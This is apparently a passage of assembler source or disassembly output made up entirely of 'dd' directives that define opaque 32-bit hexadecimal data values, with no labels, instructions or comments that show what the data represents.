		dd 0B20014B0h, 0FEBF796h, 48EE50h, 86266E64h, 8DFF7F37h
		dd 0E470087Ah, 1B3A8200h, 0BF5BDD1h, 9F620542h,	0C0B3359Ah
		dd 0ABBF55E0h, 0CA00987Ch, 0CF065EFCh, 98547657h, 82F8002Ch
		dd 37442C35h, 0D200C6E8h, 5551928Ch, 0E0EBB821h, 1D1EEB2h
		dd 3CAC0514h, 0C9E87C27h, 455BD012h, 0A1B57600h, 0C95CC764h
		dd 4C440006h, 0C17D851Bh, 10FE209h, 203AB980h, 0F9942362h
		dd 389B0F65h, 79202751h, 6B174DA3h, 807EC904h, 0A4C06808h
		dd 0A3759828h, 88C398B0h, 5AC5005Bh, 23B7C8A6h,	0E7DB4E8h
		dd 5003CD00h, 0E4A7C1DFh, 915F3DF3h, 6B40888Eh,	14111320h
		dd 5BE43115h, 0F01B1830h, 3B0A2E1h, 8EA5AC95h, 13B0B898h
		dd 0D77DBC35h, 0AA1FA11Ch, 0E1B43040h, 59501Dh,	0E990474Ch
		dd 0D86DDBAFh, 28EE9CA8h, 518D3503h, 0E856A6ACh, 0CF7974h
		dd 0ADDF2F13h, 0CBFEB9E4h, 1477DA0Fh, 0D4C6E0B7h, 763F7A2h
		dd 4BBE61A6h, 0D63CC0FFh, 211F5EF2h, 1480823Eh,	0C77491D0h
		dd 8B0F50EAh, 9458039Eh, 0D23CDA3h, 556CAEF0h, 9A008896h
		dd 0B87E139Ch, 38AA0EB7h, 2081AD2Bh, 60705F67h,	0A50B7A84h
		dd 805493B9h, 2E4E1237h, 78440E90h, 3580F3E8h, 0BAEDC782h
		dd 8767233Dh, 0ADD7C3DDh, 629A3D00h, 3943001Dh,	0BD7C3BE6h
		dd 0F00B77D3h, 20A7A248h, 2F315E2Ch, 905B600Dh,	0B00E2978h
		dd 0A4E8E773h, 70FB010Ch, 21B22838h, 0F908055Fh, 0BD26100Dh
		dd 6DBC5082h, 0E6DEC199h, 56B3933Ch, 8A413480h,	0BCAA060Ah
		dd 4932B5EAh, 0F6FEB30Ch, 0F6F20B1h, 0C4C05865h, 3E80D989h
		dd 0E7EDDC71h, 0B13CAE50h, 0DF5D4D1Bh, 820AF848h, 0C78AEA5h
		dd 7A1728E3h, 10003D50h, 51FB5DABh, 649533h, 0DECCF25Ch
		dd 0EDF61924h, 1CB08B60h, 0FEA944h, 867C2B7Eh, 0B9885E74h
		dd 45CCD00Eh, 7968E08Bh, 58217Ah, 0D7FABB90h, 0E09CA0E6h
		dd 70951B1Ch, 4C75EA40h, 957B35Fh, 98D4B935h, 8C682E80h
		dd 6A03CC86h, 78D70856h, 4126D0BDh, 1C6478D0h, 4095C2BCh
		dd 0B371ADCCh, 73006260h, 7D4D28DEh, 2A6DC00Dh,	94F0C8h
		dd 0A4B2B3FEh, 36ED8031h, 0C4E07600h, 0A20502BBh, 0B80854E1h
		dd 8EA80085h, 5C28DCCAh, 3152F0D1h, 0B05D1CBCh,	0CAED3500h
		dd 7634797Eh, 1B660CA4h, 4469C9C8h, 0D2BB3B00h,	854E9EAFh
		dd 6D5E0304h, 7756B616h, 0F3D99298h, 61005CFCh,	51346F33h
		dd 0E08550C5h, 0EEA800ADh, 0E7758954h, 0E403FF9Fh, 0C8A3D269h
		dd 0E3A10004h, 7F62D14Eh, 8BB8FD2Dh, 5800BB7Fh,	2F0B3635h
		dd 0E30F86Fh, 7D837F1Bh, 8E2B91E0h, 10186B1Eh, 51C8395Bh
		dd 59690026h, 1C154C45h, 2E000724h, 316CE7Dh, 4944A0Ch
		dd 3AE9F009h, 6E0582E7h, 5D3B3040h, 0DA00D092h,	72AF8ABEh
		dd 7B77399h, 0A7FF579Dh, 0F73ED02Bh, 33003724h,	11AAB974h
		dd 35EF44C6h, 808168ACh, 531F0FDBh, 60E7F701h, 0AA4F2F5Dh
		dd 4CD8EC8h, 26701E76h,	0AE4C9063h, 8800195Dh, 0F125E7DEh
		dd 3656B54h, 651E345h, 1143A32Dh, 5BEC0704h, 4BC26D1Fh
		dd 71E0DFA4h, 0F503F264h, 0FE766A5Eh, 0EC7CB871h, 6E6FA90h
		dd 0A8C23045h, 0EE4428FBh, 1BCB0085h, 0ED331DF6h, 0C1CB8D5h
		dd 3AF896FDh, 0EFAE036Ch, 88C311D9h, 48BD51Bh, 0BBF3F170h
		dd 0AF7DC073h, 58006A8Fh, 3CE1A748h, 7F44106h, 0BF9E658Ah
		dd 0B07DB0BDh, 0F5B05ADDh, 38644C1Ch, 35BA7080h, 337A75h
		dd 0DD0206A0h, 8F7DF7C0h, 62954A00h, 0E8055561h, 34220EB0h
		dd 0E5C0C3EFh, 9445ED6Fh, 0F166BB01h, 2B739531h, 57729F0h
		dd 62B44A53h, 376781D0h, 0DB94402Ch, 970034C2h,	5B54BF5Eh
		dd 0CDC67AEh, 28741277h, 72042968h, 7304BC1Ah, 3C7621C0h
		dd 2B80385Ah, 0F2FB7801h, 0F59F4B7Dh, 0C830CCB9h, 4E6CF500h
		dd 0A4362E2Bh, 53490090h, 0C3B202BDh, 0FCE041B9h, 7D5B6306h
		dd 0E8928D5h, 0A08F7960h, 0EB71A160h, 7003BD84h, 9E8BD940h
		dd 571BC889h, 3F960017h, 0BFB26C1Ah, 2200819Ch,	0D2724662h
		dd 1BBEAFBh, 88B55441h,	40F28AC9h, 2046A2B4h, 0F434BD00h
		dd 45210EDCh, 3E610E70h, 836CB2C7h, 7E004D79h, 0D434B98Bh
		dd 3D30B820h, 608343C0h, 0FA261E9Ah, 7F10CBE8h,	697AED1Fh
		dd 74A33700h, 43F678h, 0C6793A20h, 98EA97C0h, 47E45A03h
		dd 2BD8B8h, 9ED370E0h, 4E72048Ah, 8CD9F900h, 5C42DFFFh
		dd 0BA9B0022h, 65512EBh, 0B900B6A5h, 7E6025Fh, 0BD71EDh
		dd 86D76341h, 68E40C8Ch, 3FC0A508h, 77D201EFh, 0A95F09h
		dd 0F6C75Dh, 0A643D8DFh, 0F71F6C05h, 9F617F00h,	18CF554h
		dd 0CDEF0337h, 213AD0F8h, 80DFA7B1h, 6DAB29F0h,	10585Fh
		dd 8885C6EAh, 0A1133FCAh, 0D91BD416h, 0A3CCE300h, 0CAF582Bh
		dd 438DC00Eh, 784C61E0h, 0F59B0069h, 4FFDF8AAh,	70BF824h
		dd 0D6DFDAF6h, 0FC6220B8h, 2C904C3Eh, 0C760E207h, 63F018FAh
		dd 19C465h, 1FC014BAh, 3BEC333Fh, 0E86A48h, 11C9B539h
		dd 0C0EE08DEh, 0C2BDA3D8h, 0E9008EE2h, 5B79ABD6h, 5864EF22h
		dd 41037F61h, 9753D383h, 0CFEAF3h, 791C2662h, 0A009090h
		dd 0E29EE14Eh, 7801112Ch, 0CF9D04BBh, 0D2F5B6C9h, 68808B20h
		dd 976036C7h, 0E9001EB0h, 833725E1h, 0F27EC15Bh, 0F0280332h
		dd 0E0868EF1h, 116894B8h, 441FCA00h, 3B2F6A6h, 9FD30367h
		dd 0FCF90518h, 0E800C07Dh, 2A8380DAh, 0F4708253h, 2BDFE3Dh
		dd 8A456F0h, 8440503Ah,	0CFA048Fh, 0DD0ED37Ch, 0C2E93416h
		dd 0F794E399h, 0E6904343h, 49001E68h, 0BB517FA6h, 7CF4ACh
		dd 0D2B2D865h, 31CE1A1h, 9679F300h, 6A4DEAD5h, 681F1E1Dh
		dd 0C18A0038h, 0AEC27C14h, 0C70F7898h, 0DEE7439Ch, 9D930A00h
		dd 0FAB75Ch, 1498E92h, 378CAFE8h, 7B71D31Eh, 6C5209C5h
		dd 49CCD402h, 647C60BEh, 1CAD7BA5h, 146B57h, 0C4AD6A0h
		dd 8390A9E7h, 0BF16F400h, 0D34C3836h, 0FC6103A6h, 272B19C3h
		dd 0D004F0D9h, 84246A69h, 0C003835h, 746E24BDh,	36F500E4h
		dd 271122EFh, 0C6007C18h, 358DF78Ah, 734D47AAh,	0E64200C8h
		dd 9CEBAF33h, 3B03D4A8h
		dd 0D6647D52h, 1B90070Fh, 0B048A4D2h, 93E1E021h, 2D002C92h
		dd 0B622EC5Ch, 765A319h, 758C5EE9h, 17B71061h, 0B1233CEh
		dd 141D3F8Bh, 9CD5C81h,	0E4709D1Eh, 9C76CFh, 0A0F2A1EBh
		dd 0AFF81750h, 452B5700h, 0EC554324h, 0FB5301EDh, 0F6C44FBEh
		dd 38367069h, 6F237492h, 8F7180BCh, 49B1580Ch, 0FCF42AF6h
		dd 6098DB7Dh, 0D8D03100h, 0E60A9C08h, 0FDE6CDh,	9D7A8137h
		dd 7267DCBFh, 34F7F371h, 1800ED30h, 663FE7DBh, 0B750C88h
		dd 85DCD270h, 0C07BA400h, 4F00FCC4h, 93099154h,	0A2CEFh
		dd 0CD4504A9h, 13CC8A49h, 23632D00h, 96469AD9h,	20BF0F28h
		dd 0B280DDBAh, 78F725BCh, 7668D402h, 0C8693C45h, 0FD67C8h
		dd 0ED6D21A0h, 8920B296h, 0C034E700h, 57DB5EFBh, 0C777005Fh
		dd 934DBF4Bh, 0AD0008EAh, 0A7263887h, 0EEE0E5h,	72B0D309h
		dd 13B47595h, 874AEB03h, 80C08431h, 0ACECEDh, 25573EE4h
		dd 5DB9553Fh, 0CEE5007h, 2F73EFBFh, 0C46FC8E8h,	29A81F4Eh
		dd 501358h, 823522D3h, 0D0064CEh, 3F909B39h, 0BAA904EEh
		dd 57280928h, 0C803099h, 0D58749FCh, 8852130Eh,	28CC81BFh
		dd 219FA090h, 39A658EEh, 40000E26h, 41368D59h, 0F0184B35h
		dd 0B2720757h, 946958B0h, 0B45680C5h, 5403CCCAh, 0A561D7FFh
		dd 90A2D8EAh, 5D41281Eh, 83A80044h, 0C19CF616h,	15060162h
		dd 0A744D6C2h, 78AC5D21h, 9AAEA303h, 12D8410Ch,	0EB177F02h
		dd 8C23A25Ah, 45E7E0D8h, 0ACE405F4h, 80D6FED2h,	58CC833Eh
		dd 81BDE502h, 0E074679Dh, 0ECA290h, 9F52CE6Bh, 1DE1C51Bh
		dd 3CCA7E00h, 91D97DC7h, 808A3A20h, 0BE0BF900h,	0BF740525h
		dd 5064F700h, 0DE94B837h, 3D5C0183h, 3CEBA5A7h,	0E1020DBh
		dd 0C62C220h, 0A44AF66Bh, 0B103E6A0h, 38ADB8EDh, 0B0283DC5h
		dd 0EC2280FCh, 2F000B90h, 0BA75161Eh, 0C4A8782Ah, 3A15F40h
		dd 0EF06530Fh, 1A448500h, 8097123Fh, 0B4A9144Fh, 98ABEC15h
		dd 44EF9400h, 0A02BC4Dh, 0B9170919h, 0A4504771h, 78933Bh
		dd 0ED6825D1h, 0CE89EBC1h, 9F4CC8A4h, 0A278707Ch, 17218418h
		dd 0C042B019h, 0C0B53541h, 8B180C26h, 0EC30E3B7h, 4E29C002h
		dd 0BE0952A2h, 6EDD0D00h, 0E7552457h, 42A8DC9Bh, 2189DAA3h
		dd 43458CA0h, 447C390Bh, 9C5F642Ah, 0D000E276h,	215C4695h
		dd 0A08F3686h, 0AD874EBh, 676E9FE8h, 5145018Ch,	807C6342h
		dd 9B430A39h, 0BD85E2h,	0DC24E90Ch, 56FAA593h, 0F6804561h
		dd 8846F4CDh, 0BB5E4470h, 9AC97A00h, 0F02B2AB0h, 1E4DE042h
		dd 4C41CEA2h, 14A0CF94h, 1B846E50h, 0F27740h, 1034A21Eh
		dd 52B9D13Dh, 81ED2E0Ch, 3343908Dh, 86618262h, 0F2B794A8h
		dd 89B8F2C0h, 0DD09E406h, 5F154129h, 8E58B710h,	35489F31h
		dd 12270098h, 852B6E4Eh, 64A73FEEh, 4201BB86h, 0A77410Bh
		dd 48A8F654h, 26141E01h, 9CC1FCC3h, 12F7CECh, 52C540C9h
		dd 3527F5ABh, 0E44030CCh, 8E39F260h, 5D1E67h, 957881BEh
		dd 54B4D0A1h, 0F6893C62h, 88445A9Ah, 6FB80E84h,	5C61B183h
		dd 0E431042Bh, 149236B0h, 3A48EB07h, 2C4092C1h,	28AAFF01h
		dd 7DF8B760h, 44523E64h, 3141B098h, 0F8EAB463h,	96977809h
		dd 4D6C2449h, 3782D240h, 0DE8F853h, 0EF04A7EAh,	38F1DE9Ah
		dd 0EC841940h, 0D70193C5h, 4B2ED6E2h, 48A6B046h, 64A83199h
		dd 1C6422ADh, 1BCCAFF2h, 3BF57AD1h, 8F8ED90Ch, 0C05451A0h
		dd 15E03A8Eh, 7BFFAD63h, 0AF3138C0h, 167CF49h, 79CF4C1h
		dd 70ED1859h, 99125C6Eh, 18024BC0h, 0ACF50226h,	24C148B0h
		dd 40D4EE28h, 60FA59FDh, 0A35BF805h, 16839506h,	8430134Eh
		dd 0B825CEh, 6E179910h,	5861010Bh, 30AF4B51h, 0B0DBC3D0h
		dd 54EC4E48h, 3100FC20h, 36D95D14h, 76003250h, 9A919606h
		dd 256548h, 0DCEC7CABh,	0E25D61FCh, 0B04E7B32h,	43EC8113h
		dd 0C105E63h, 0A07D8A17h, 79700603h, 9844FAF4h,	14045A18h
		dd 3CEE2C83h, 0A7DAE001h, 2098E376h, 3100B1FCh,	7541D1D3h
		dd 9BA46473h, 156E0068h, 8B92BA0Fh, 2AAF14Ch, 4B89EDB3h
		dd 882863E5h, 0D076A01Bh, 88748889h, 8C2A5923h,	0D7229463h
		dd 87B61A9h, 504328F6h,	4F5C0BF0h, 0CDEB3A02h, 82F03490h
		dd 681AB0E0h, 5CBC18h, 0D32BB642h, 0ECD40776h, 6CB4FD60h
		dd 596894BAh, 5008096h,	0C5C3404Ch, 9C318473h, 5564189Dh
		dd 0A71EA184h, 6F40800Bh, 4200A98Ah, 6DCB6178h,	92183BAAh
		dd 7EB72A98h, 80A24C68h, 0B0B07CC9h, 0CC14AF5Fh, 159D1876h
		dd 6CC484Dh, 0A1FB4F2Fh, 69DC2041h, 64AE0E18h, 4050F659h
		dd 0D300CCA4h, 3D4A4438h, 527BE116h, 92008CF1h,	5C25705Bh
		dd 8C90CDFBh, 5000DD48h, 0CF884D30h, 60750077h,	5515674h
		dd 0BF04122Eh, 0EA1017BAh, 2CFE54C8h, 0E0404216h, 0D4248059h
		dd 9B244CE6h, 0E42B869h, 2C8CC4C4h, 49F0B084h, 51762404h
		dd 0BB790988h, 0ABFC10EBh, 3B9E00BFh, 0D4C6440Fh, 1526B909h
		dd 0AC441080h, 0AE903F20h, 0FC085724h, 0E084D020h, 803D1507h
		dd 0EC069E0h, 4C5F28C9h, 2682E42Ch, 4C4B66ECh, 0F4C0FADh
		dd 0FC54AE60h, 0AD806C24h, 0F0D0B75Ch, 50FA8928h, 1F00F4B0h
		dd 210FFF9Ch, 143473A6h, 0A83EE706h, 5FA6C40h, 18AFDCE6h
		dd 0F3D408A5h, 61DF2880h, 0F27A0FF0h, 2D1B0BB5h, 0C4106E12h
		dd 485490F6h, 28B164DCh, 7C81AE02h, 90C4AD8Ch, 0AB0CEF40h
		dd 1AAA03BAh, 0B71B52BFh, 2C7C3948h, 2B4480A8h,	4C26D0C8h
		dd 892280Ah, 648A6AF0h,	0A9809C8Dh, 0FB176086h,	0A45A2427h
		dd 8074B854h, 590063A2h, 0E19EC3Bh, 756B4Bh, 779358D6h
		dd 0A5CEF0CDh, 93183058h, 5980541Dh, 69204F24h,	0D17D0F9Dh
		dd 7C8B652Eh, 0DDC588B0h, 9EC46800h, 0E958F5CEh, 1CD64972h
		dd 8169EA76h, 73C832B0h, 3E184F0Fh, 5A2440B8h, 24A8230h
		dd 6EF78780h, 0F4841C28h, 0D1C4CC60h, 49D5EB30h, 3392DBFh
		dd 0A8772583h, 16D89E1Bh, 0D91EDB8Dh, 0FE45D8B5h, 20CC5969h
		dd 894484F3h, 0D85A00A9h, 0A1122D2h, 833F4ABDh,	7E358009h
		dd 1634924Fh, 0BC3050CDh, 9D88C67Ch, 0AB48D0A8h, 0BC089224h
		dd 505BD82h, 88CA5CC9h,	0AA45C408h, 2C394190h, 148834D2h
		dd 27F68D4Bh, 6E30F029h, 0F0130B9h, 69313E25h, 0E4CC28BFh
		dd 0C4A62604h, 21A4944Ah, 0E866A888h, 761D942Ch, 0C30025CFh
		dd 27F705BDh, 0ED260611h, 0A834FBD9h, 47687164h, 5410B009h
		dd 0FB76FE3Fh, 0C62D4D01h, 432F85B6h, 0F74E288Ah, 58CD0134h
		dd 0D4E3A031h, 5900244Ch, 0E68D9E6Ch, 99783B5h,	907C201h
		dd 0B783088h, 3812EA84h, 87CA841h, 0E2A845D7h, 0FC80989Ch
		dd 0C50362ACh, 0F74BE931h, 2A210716h, 80D16F71h, 699CD0E0h
		dd 0F5242C03h, 0A3203E09h, 88A4CC13h, 0B45B5CF6h, 0A3AB880h
		dd 851F1190h, 8E4779C3h, 0FF80F0E8h, 8344EEB6h,	8EB7803h
		dd 0A8E445D1h, 0ED9462E2h, 60D090FEh, 49163C1Ah, 0F6CB0C48h
		dd 4750CC90h, 60A76400h, 4A132C63h, 1261FED8h, 405BCAAFh
		dd 399A151Ch, 0DD357653h, 0E804F163h, 2053770Fh, 0E9FF9554h
		dd 0AD860D1Ch, 5C2B51C0h, 9CF7E5Fh, 76F48373h, 53EC9410h
		dd 0B707ECB1h, 0E9801DE5h, 0FE7110F9h, 3A160B5Fh, 5978A79Ch
		dd 7FCD8413h, 0EB0E2044h, 60F60CA4h, 0B879C951h, 0E20752B5h
		dd 71D2C15h, 72C70CA0h,	976702DAh, 388C5C70h, 1A95B451h
		dd 0A2E207F0h, 0BB10FCD6h, 973F7Fh, 0E10C8666h,	35677944h
		dd 0C8265CB9h, 0B8727761h
		dd 963EE8h, 3F37AC1h, 0A3CC7CCh, 0C489DC0Ch, 539E10Eh
		dd 0AE6FC6EBh, 4410D1EFh, 3AB006Dh, 6E3716C0h, 0A0284802h
		dd 0DE082280h, 347F3F9h, 0FACC54D8h, 88014643h,	5D620B7Ch
		dd 0F4519BD5h, 99806A64h, 8AC2EA57h, 0B800BBABh, 6247C724h
		dd 4AF3341Ch, 50B06621h, 61414F64h, 4DD34740h, 18039D35h
		dd 4E206DC6h, 43B90C37h, 0B1296B62h, 0C7ECB600h, 9282FD77h
		dd 12ED7C3Ah, 0BC973Ch,	817BA684h, 665D2BC1h, 0D44D2ACCh
		dd 0C25A520Eh, 1CE7611Ah, 3C664318h, 0A106A70Fh, 26097A28h
		dd 0AF5C1220h, 1AF76690h, 0BA5B04C9h, 8036FADBh, 0A5DBD7Ch
		dd 8491F496h, 4600DC3Fh, 0E131D9E3h, 48075AC4h,	0B559CACCh
		dd 90B8A449h, 0A06068DCh, 0B017CDB0h, 8BF2530h,	8404A48Bh
		dd 205B2271h, 618E5143h, 0D986C807h, 2F0054CFh,	0C557524Eh
		dd 874F9C78h, 20A845B4h, 5D1E261Ch, 606AFB00h, 0F9AE1ABEh
		dd 0B5CA3F1Ch, 4B281D84h, 0ADD8925Ch, 8B0030CAh, 54B0BE33h
		dd 14573500h, 39367F69h, 201B488Ah, 43C82608h, 0E6033820h
		dd 0A1C0F64h, 3C192646h, 0B8EB00D8h, 0C8A644A1h, 5A41350Bh
		dd 98400B4Fh, 58E919F4h, 0CC3CC17Ch, 0B4D3880h,	98D0B6A4h
		dd 8315E4B1h, 97230188h, 0D30489C4h, 0B060874h,	0DF2A9CE0h
		dd 5D9DA4A2h, 0A50F545Ah, 94484779h, 0DCDD8AECh, 0FC44BDh
		dd 0A5542059h, 5A363EB0h, 0B1D8E900h, 67B7750Ah, 6CA9135Ch
		dd 0E6DC2369h, 1B0B4002h, 66C20FC8h, 0A1C522DCh, 5812482Ch
		dd 0DE8EB40h, 27E54C53h, 0A94494Bh, 8AA5E840h, 13774B79h
		dd 80404458h, 72F05343h, 634901A8h, 3D73E1AFh, 69702465h
		dd 0D8A769C0h, 0E3B332h, 7370A21h, 8DDEE9Dh, 0C541280Eh
		dd 384A800Bh, 63FFACh, 0FE1DDEEBh, 0F174A643h, 87201760h
		dd 729D85Fh, 0B4DAC24Ah, 0BE194D61h, 0AA116021h, 3E7F6746h
		dd 1D0CB3ACh, 7618B08Fh, 0AB796300h, 0BF876034h, 1BDB00A8h
		dd 6F93E4C6h, 0A91D4182h, 0C982EB47h, 8045ED0Bh, 834F764Ch
		dd 0C1690062h, 168C1F77h, 4620ADC7h, 82B310Ch, 0D1352381h
		dd 66189841h, 0F9183F48h, 32D16D10h, 0ADA9CFh, 81F8EC39h
		dd 0D8E76207h, 108C91BBh, 0E288C938h, 93880AEDh, 8080DD30h
		dd 0B9AF140Ah, 6E00B2FBh, 5857A6B3h, 66D91AB7h,	7948F9AAh
		dd 0BA46F200h, 0AD478490h, 0F07D15CDh, 870C543Fh, 0D059E25Ch
		dd 814B69h, 96C47F72h, 3D83FADh, 0AE5CE080h, 0F5109B80h
		dd 3FEBF1C0h, 3124475Fh, 5404B96h, 7980004Ch, 0A5BC005Ch
		dd 5D57B327h, 8C2F812Ch, 14435806h, 94710A66h, 940988C0h
		dd 0F30003A6h, 0FAB88DD2h, 0A828EE7Bh, 8BA81754h, 0ECE2782Ah
		dd 297CE7F1h, 2543CA00h, 0DB5FAFA9h, 1FFEF047h,	0C03BC175h
		dd 0D8D29782h, 31C38B13h, 140159BBh, 9C9C1DB1h,	1C93007Ch
		dd 0E8FC6220h, 3D013473h, 0E0075A50h, 0C8522F0Dh, 6040902Eh
		dd 7AB20553h, 9250F9h, 9A2EB84h, 3C3F40BDh, 492960FDh
		dd 7F8C9125h, 0D09340BAh, 97B83054h, 26C30200h,	2463F167h
		dd 9955678Ah, 760F4865h, 0E82C604Dh, 638B30Ch, 1DEBB9E7h
		dd 69002166h, 0DAFF56C0h, 4C3E5A6h, 97C111DFh, 6D4C884Bh
		dd 619FD288h, 0CA3FF906h, 31A18ADAh, 0E49CA4F0h, 5967240h
		dd 64F330F6h, 4EF4211Ah, 0E89D204Bh, 275A9E0h, 47ED3B91h
		dd 6448C8BCh, 2C88338Ch, 0D5D318A9h, 184F113Dh,	65B2FE00h
		dd 14AFD7D9h, 536103E0h, 0EDE890B0h, 90CE6030h,	800CAA41h
		dd 0AD032AF7h, 16DE2629h, 49592848h, 991D2AB4h,	0CCECC4h
		dd 3E785C8Dh, 0DD588782h, 0A5DADF03h, 47D46Ah, 9A57E981h
		dd 49FECCBEh, 301D92FEh, 350067D0h, 9904F705h, 0C279C05Fh
		dd 32989503h, 803CD948h, 91A5D372h, 9551CA2Ah, 24B380F8h
		dd 3C01D7DCh, 5808E924h, 0DA49F398h, 504D4CBCh,	8C08EE84h
		dd 5C30987Ch, 0C1E0290Dh, 0FB1A0757h, 0FCB8AB95h, 0B3000B19h
		dd 6F52E990h, 0C54E050h, 0E848FF6Ch, 0F0A12081h, 36AA005Ah
		dd 30B1C0DAh, 268819D8h, 3212D116h, 186E3CA4h, 0A9E89596h
		dd 2944C330h, 0B39D20B0h, 0AF8ECC91h, 0E95EC035h, 984BB59Eh
		dd 44290A87h, 0B1640AFAh, 102A8BB0h, 0C2BB72A8h, 0AD4398A0h
		dd 0B3B73081h, 20DF12B0h, 0FB9737C1h, 0F9827700h, 8153EF96h
		dd 4237CE8h, 0A20DED8Ah, 0CAFC8833h, 0EE32CE44h, 0A62205B2h
		dd 41A8F358h, 75B8AAACh, 23898F3Eh, 7847204Dh, 9C7FDC9h
		dd 0E81B948Eh, 7A8800A3h, 982052A4h, 0CF1991h, 562D7D1Ah
		dd 3CC3B072h, 68DE280h,	0D0B5D609h, 3344F11Bh, 0B6E1C5EDh
		dd 0DDF42062h, 0FE0B0C8Dh, 214473EAh, 0DCCC3F48h, 0E7E2C183h
		dd 31024BAAh, 871986C0h, 9BE069ADh, 97EAC450h, 70DF1C30h
		dd 0F3B000E7h, 0F5FEF7ECh, 0FB476112h, 0CB31F032h, 58C1C024h
		dd 719900BAh, 543D426Dh, 96489F0Ch, 0C4411B10h,	402FA081h
		dd 36F00026h, 0B6C04C75h, 912879AFh, 0BB13E4BDh, 1441075Dh
		dd 0CAA4388h, 97240007h, 6726D301h, 0E70ABFF6h,	0A90964B5h
		dd 61D012B3h, 885863D4h, 0B6802C1Dh, 0B9174618h, 0F28E120h
		dd 0A6DC3253h, 2003B720h, 4100091Dh, 0A21FA45Dh, 0C44EF028h
		dd 0D0292358h, 0D942C700h, 0FD36D1C0h, 487EF4h,	0E13346B5h
		dd 6738C32Ah, 0F5491B04h, 9893F775h, 66E11DBCh,	3C022234h
		dd 1B588A0Fh, 118C49E2h, 0D02C7832h, 0F20940CCh, 81136D21h
		dd 58491715h, 1EB81031h, 1DDF00C1h, 13866C50h, 0BDB0EFA6h
		dd 22EE3600h, 0AA1BD7E2h, 10EB15F8h, 93008C64h,	0DBC7804h
		dd 3C0CA7F0h, 0A9EB5437h, 79BD62DAh, 28E89228h,	3188C8F5h
		dd 0AA1C0EEh, 1B0F3E9Fh, 58CCE900h, 0CA7130A5h,	685604A9h
		dd 0D0ED2982h, 459A2C94h, 17390965h, 0D0030C8Dh, 1C08A873h
		dd 0DA810AA3h, 4090D5E3h, 0F39678F2h, 0B0DEF912h, 0B5EB7820h
		dd 0DD00072h, 73D2D43Dh, 3652AD82h, 879A3FE8h, 53F55565h
		dd 3B1980F1h, 4CCDBFCh,	0FAA8C3F3h, 0AA9C916Eh,	43871068h
		dd 848B9C0h, 4B004C06h,	45BCCBB3h, 561A489Ah, 913C9703h
		dd 67A0E3B4h, 9E24FC89h, 0BD42AC0Dh, 0B943107Eh, 84D0B26Bh
		dd 0A40BB38h, 0DE11DC84h, 0E2A73F1Ch, 48D14FC0h, 9880E9B0h
		dd 88887D24h, 4B12CAA2h, 0D05F9A49h, 92A4E00Fh,	0FBEB0070h
		dd 78F7008Ch, 76942E75h, 32054D49h, 5BF61599h, 416DB407h
		dd 0E146E84Ah, 694360E9h, 1589A575h, 1D51B964h,	0FDE4A089h
		dd 8C21029Fh, 429723D4h, 0E43BA064h, 16BE87FEh,	0C580AE90h
		dd 8A078Dh, 0DA76F3A7h,	0AAA9D6E2h, 0C3D1B9DDh,	5887FC44h
		dd 0B5C9545Ah, 0CAE93818h, 5C443E05h, 440012BFh, 0A886E541h
		dd 0DD6F091Fh, 384CAC7Bh, 4EF1AB00h, 95E901F5h,	75080976h
		dd 58322A8Dh, 6477ED80h, 79007F9Dh, 1886439Eh, 0A7CDE2Dh
		dd 910BA04Ah, 97454290h, 0F0993C68h, 9D486800h,	0C2B70396h
		dd 0D09F409Ch, 2FB97863h, 0B817BB02h, 0F08B226Ch, 0EFA40611h
		dd 0FC9FE498h, 8F943358h, 80F035B8h, 988F016Dh,	0A8709414h
		dd 976C93C0h, 20761688h, 45E0EBACh, 4A00D49Ah, 0B1BD683Ah
		dd 4D21398Bh, 0B2C0E4ACh, 365CC06Ah, 23451100h,	62E0A69h
		dd 871E1410h, 7789C099h, 4424841Ah, 101126FEh, 48B39CA8h
		dd 2C2DC1E8h, 20F48A1Eh, 3EDA00D2h, 4EAE266h, 7080353Fh
		dd 0C110E930h, 4B489DA8h, 7B50490h, 8704E956h, 0CC689532h
		dd 27001250h, 3B4FC89Ah, 3E8C372Bh, 882BB0E5h, 82A99098h
		dd 52A503CAh, 0E83C4474h
		dd 80E3473Dh, 3B8FE1DAh, 18345619h, 994DE777h, 0D1C3BD43h
		dd 0AA57FB18h, 3A0E216h, 0A999F12Ch, 3463AACFh,	0BC982025h
		dd 0EC945DD2h, 2606EA50h, 0FF3B77h, 0B557CA7Eh,	370B1963h
		dd 12354356h, 91D4CCC8h, 0D911F0h, 0FE582EE6h, 19BF7E18h
		dd 80239B84h, 3029D0h, 0C9756762h, 0F81B79h, 0EA8A6593h
		dd 0F95FA6AAh, 42A0E918h, 7074A91h, 0FD7E8872h,	0BC48FC4Bh
		dd 0D3617977h, 318BBB21h, 901D5993h, 99B99778h,	4979505Ch
		dd 2CC05928h, 0B641D042h, 0A7CC8F21h, 0B299006Ch, 8E6AE3D2h
		dd 9491D5EEh, 0AEC05C1Dh, 5BA82FADh, 13E2FCh, 0E726347Eh
		dd 25EBE16Eh, 0B04AB494h, 7B800A67h, 9417E1h, 0E6867442h
		dd 0D57CA933h, 31FF4E39h, 0B09AB123h, 0FB730300h, 85571800h
		dd 9D60E487h, 36BE2874h, 74E04D84h, 0A0540574h,	0C886F2D9h
		dd 0D700DDE4h, 8DD2ED75h, 64CFE36Ah, 4091E8E8h,	959B929h
		dd 0AC4909A6h, 3464DD36h, 1F2D4E00h, 27BDBC9Dh,	0ECDB1772h
		dd 5DFC20B5h, 47824C03h, 907680E4h, 0FEFFBE88h,	6C67DE30h
		dd 27C2479h, 2D3182Bh, 247275B3h, 39DB3130h, 0FAFB91h
		dd 2FAB3724h, 0F5E78FA7h, 0F0A5E904h, 0B8D1AC4Fh, 0B214E111h
		dd 7A7800B8h, 7D6EC918h, 0C3E10222h, 0EC517CCh,	63CBAC48h
		dd 2A2AA88h, 0C6559492h, 68EC8AC4h, 0E062209Ch,	179830CEh
		dd 0D3C2B1C5h, 291A3C03h, 0C0BA9AB0h, 1EF74C8h,	0D6283406h
		dd 208E3F4h, 4B10C625h,	836474FEh, 20C467A4h, 0B81602E4h
		dd 9E09BF0h, 0B3007988h, 18B1AC69h, 57179973h, 8A00F13Bh
		dd 7BE5425h, 0C0649422h, 8C8E09A7h, 13FAA307h, 0F9F7493h
		dd 17987980h, 0D026883Dh, 36D540E4h, 70042C5h, 6688C089h
		dd 7CFC3CAAh, 0E95F24A8h, 48344700h, 9622189Dh,	11B3983Ch
		dd 49E044C3h, 0BC4D6C16h, 0CD223470h, 121A00A0h, 1027592Ch
		dd 970095E6h, 8EABA870h, 4CA41718h, 98C4B89Eh, 0B055C795h
		dd 0ABD70260h, 8700B35Ch, 611092EBh, 49472A53h,	0E20054CBh
		dd 39DC158Dh, 9915D349h, 13AC0AADh, 0AC7795EBh,	4FAF88E0h
